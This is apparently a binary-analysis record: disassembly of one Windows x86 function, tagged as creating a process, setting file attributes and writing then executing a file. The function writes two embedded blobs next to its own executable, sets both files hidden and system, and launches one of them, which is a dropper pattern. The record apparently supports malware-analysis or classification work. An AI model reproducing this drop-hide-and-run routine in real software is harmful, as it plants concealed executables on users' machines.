Function at 0x4088c0
Capabilities:
Create process on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x27c
mov eax, dword [0x417018]
xor eax, esp
mov dword [esp + 0x274], eax
push ebx
push ebp
push esi
push edi
push 0x40
lea eax, [esp + 0x30]
push 0
push eax
mov dword [esp + 0x34], 0x44
call fcn.0040e170
mov edx, dword [0x433738]
add esp, 0xc
push 0x104
lea ecx, [esp + 0x74]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
lea ebx, [ebx]
mov cl, byte [esp + eax + 0x70]
mov byte [eax + 0x4338b8], cl
add eax, 1
test cl, cl
jne 0x408910
push 0x104
lea eax, [esp + 0x17c]
push eax
lea ecx, [esp + 0x78]
push ecx
call dword [sym.imp.COMDLG32.dll_GetFileTitleA]
lea eax, [esp + 0x70]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408940
sub eax, edx
test eax, eax
jle 0x408963
lea ecx, [esp + 0x70]
sub ecx, 1
cmp byte [ecx + eax], 0x5c
je 0x408963
sub eax, 1
test eax, eax
jg 0x408956
mov byte [esp + eax + 0x6f], 0
xor eax, eax
lea ebx, [ebx]
mov cl, byte [esp + eax + 0x70]
mov byte [eax + 0x432e10], cl
add eax, 1
test cl, cl
jne 0x408970
mov eax, 0x432e10
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x408990
mov edx, dword [str._readme.txt]
mov ecx, dword [0x4152b4]
mov dword [eax], edx
mov edx, dword [0x4152b8]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
xor eax, eax
jmp 0x4089c0
mov cl, byte [esp + eax + 0x70]
mov byte [eax + 0x433228], cl
add eax, 1
test cl, cl
jne 0x4089c0
mov eax, 0x433228
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x4089e0
mov ecx, dword [0x4152bc]
mov edx, dword [0x4152c0]
mov dword [eax], ecx
mov ecx, dword [0x4152c4]
mov dword [eax + 4], edx
mov dx, word [0x4152c8]
mov dword [eax + 8], ecx
mov cl, byte [0x4152ca]
mov word [eax + 0xc], dx
mov byte [eax + 0xe], cl
xor eax, eax
lea ebx, [ebx]
mov cl, byte [esp + eax + 0x70]
mov byte [eax + 0x4337b0], cl
add eax, 1
test cl, cl
jne 0x408a20
mov eax, 0x4337b0
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x408a40
mov edx, dword [0x4152cc]
mov ecx, dword [0x4152d0]
mov dword [eax], edx
mov edx, dword [0x4152d4]
mov dword [eax + 4], ecx
mov cx, word [0x4152d8]
mov dword [eax + 8], edx
mov dl, byte [0x4152da]
mov word [eax + 0xc], cx
mov byte [eax + 0xe], dl
lea eax, [esp + 0x178]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408a82
sub eax, edx
push eax
lea eax, [esp + 0x17c]
push 0x4152dc
push eax
call fcn.0040981d
add esp, 0xc
test eax, eax
je 0x408aae
xor eax, eax
jmp 0x408baa
cmp dword [0x4339f4], 0
je 0x408ba5
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x433228
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x408b00
push 0
lea ecx, [esp + 0x18]
push ecx
push 0xe000
push 0x417fc8
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 6
push 0x433228
call ebp
cmp dword [0x4339f4], 0
je 0x408ba5
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x4337b0
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x408b64
push 0
lea edx, [esp + 0x18]
push edx
push 0xc000
push 0x425fd0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call ebx
push 6
push 0x4337b0
call ebp
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x4337b0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x408ba5
mov edx, dword [esp + 0x1c]
push edx
call ebx
mov eax, dword [esp + 0x18]
push eax
call ebx
mov eax, 1
mov ecx, dword [esp + 0x284]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040999a
add esp, 0x27c
ret